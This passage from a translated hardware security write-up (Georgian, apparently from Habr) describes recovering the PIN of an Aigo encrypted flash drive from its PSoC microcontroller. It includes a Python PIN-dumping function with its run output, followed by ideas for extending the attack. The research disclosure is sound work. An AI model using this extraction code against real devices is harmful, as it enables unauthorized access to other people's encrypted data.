
0xFF - ნიშნავს "15 მცდელობას" და მცირდება ყოველი წარუმატებელი მცდელობისას.

7.6. PIN კოდის აღდგენა

აქ არის ჩემი მახინჯი კოდი, რომელიც აერთიანებს ზემოთ მოცემულს:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

აქ არის მისი შესრულების შედეგი:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

ჰოო! მუშაობს!

გთხოვთ, გაითვალისწინოთ, რომ ლატენტური მნიშვნელობები, რომლებიც მე გამოვიყენე, სავარაუდოდ შეესაბამება ერთ კონკრეტულ PSoC-ს - მე გამოვიყენე.

8. რა არის შემდეგი?

ასე რომ, მოდით შევაჯამოთ PSoC მხარეს, ჩვენი Aigo დისკის კონტექსტში:

• ჩვენ შეგვიძლია წავიკითხოთ SRAM მაშინაც კი, თუ ის დაცულია;
• ჩვენ შეგვიძლია გვერდი ავუაროთ დარტყმის საწინააღმდეგო დაცვას ცივი ჩატვირთვის კვალი შეტევის გამოყენებით და პირდაპირ PIN კოდის წაკითხვით.

თუმცა, ჩვენს შეტევას აქვს გარკვეული ხარვეზები სინქრონიზაციის პრობლემების გამო. ის შეიძლება გაუმჯობესდეს შემდეგნაირად:

• დაწერეთ პროგრამა, რათა სწორად გაშიფროთ გამომავალი მონაცემები, რომლებიც მიიღება „ცივი ჩატვირთვის კვალი“ შეტევის შედეგად;
• გამოიყენეთ FPGA გაჯეტი უფრო ზუსტი დროის დაყოვნების შესაქმნელად (ან გამოიყენეთ Arduino აპარატურის ტაიმერი);
• სცადეთ სხვა შეტევა: შეიყვანეთ მიზანმიმართულად არასწორი PIN კოდი, გადატვირთეთ და ჩააგდეთ RAM, იმ იმედით, რომ სწორი PIN კოდი შეინახება RAM-ში შედარებისთვის. თუმცა, ამის გაკეთება არც ისე ადვილია Arduino-ზე, რადგან Arduino-ს სიგნალის დონე 5 ვოლტია, ხოლო დაფა, რომელსაც ჩვენ განვიხილავთ, მუშაობს 3,3 ვოლტიანი სიგნალებით.

ერთი საინტერესო რამ, რაც შეიძლება სცადოთ, არის ძაბვის დონესთან თამაში წაკითხვის დაცვის გვერდის ავლით. თუ ეს მიდგომა იმუშავებდა, ჩვენ შევძლებდით აბსოლუტურად ზუსტი მონაცემების მიღებას ფლეშ დრაივიდან - იმის ნაცვლად, რომ დავეყრდნოთ საკონტროლო ჯამის კითხვას არაზუსტი დროის დაგვიანებით.

ვინაიდან SROM სავარაუდოდ კითხულობს დაცვის ბიტებს ReadBlock სისტემური ზარის საშუალებით, ჩვენ შეგვიძლია გავაკეთოთ იგივე, რაც აღწერილი დიმიტრი ნედოსპასოვის ბლოგზე - კონფერენციაზე გამოცხადებული კრის გერლინსკის თავდასხმის ხელახალი განხორციელება "Recon Brussels 2017".

კიდევ ერთი სახალისო რამ, რისი გაკეთებაც შეიძლება, არის ჩიპიდან გარსაცმის ამოღება: SRAM-ის ნაგავსაყრელის ამოღება, სისტემის დაუსაბუთებელი ზარების და დაუცველობის იდენტიფიცირება.

9. დასკვნა

ასე რომ, ამ დისკის დაცვა სასურველს ტოვებს, რადგან ის იყენებს რეგულარულ (არა „გამაგრებულ“) მიკროკონტროლერს PIN კოდის შესანახად... გარდა ამისა, მე არ მინახავს (ჯერ) როგორ მიდის საქმეები მონაცემებთან დაკავშირებით. დაშიფვრა ამ მოწყობილობაზე!

რას ურჩევთ აიგოს? დაშიფრული HDD დისკის რამდენიმე მოდელის ანალიზის შემდეგ, 2015 წელს გავაკეთე პრეზენტაცია SyScan-ზე, რომელშიც მან შეისწავლა რამდენიმე გარე HDD დისკის უსაფრთხოების პრობლემები და გააკეთა რეკომენდაციები იმის შესახებ, თუ რა შეიძლება გაუმჯობესებულიყო მათში. 🙂

ორი შაბათ-კვირა და რამდენიმე საღამო გავატარე ამ კვლევაში. სულ დაახლოებით 40 საათი. თვლა თავიდანვე (როცა გავხსენი დისკი) ბოლომდე (PIN კოდის ნაგავსაყრელი). იგივე 40 საათი მოიცავს იმ დროს, რაც დავხარჯე ამ სტატიის დასაწერად. ეს იყო ძალიან საინტერესო მოგზაურობა.

წყარო: www.habr.com